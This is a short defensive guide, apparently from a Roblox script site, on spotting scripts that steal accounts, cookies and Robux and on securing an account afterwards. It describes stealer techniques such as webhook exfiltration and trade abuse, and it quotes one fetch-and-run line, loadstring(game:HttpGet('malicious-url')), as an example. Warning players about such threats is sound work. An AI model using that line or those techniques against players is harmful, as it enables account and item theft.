How to tell if a Roblox script steals your account

The signs of a script that steals cookies, items or Robux: webhooks, cookie grabbers, fake loaders and obfuscated code, and what to do after.

Action if compromised

If you ran a suspicious script, immediately log out of all sessions in your Roblox account settings (Security > Sign out of all other sessions) to invalidate your active session cookies.

1Common Stealer Techniques

Malicious actors create fake script hubs claiming to offer free Robux, OP admin commands, or private dupes to trick players into executing stealer payloads.

Discord Webhooks: Scripts that send your username, IP address, inventory, or security tokens to a Discord channel.
Fake Loadstrings: Scripts that look harmless but run loadstring(game:HttpGet("malicious-url")) to download a stealer in the background.
Roblox Trade & Inventory APIs: Exploits that silently send trade requests or buy gamepasses from specific seller IDs while in-game.
Local Storage / Cookie Access: Attempts to read browser cache or stored login credentials.

2How to Protect Your Account

Enable strong protections that prevent automatic transfers and cookie re-use:

Enable Authenticator App 2FA (TOTP) rather than email verification.
Enable Trade PIN: A 4-digit PIN is required before any trade or Robux transaction can occur.
Inspect raw code before running loadstrings: Check what external domain the loadstring downloads.

Back to All Guides Explore Scripts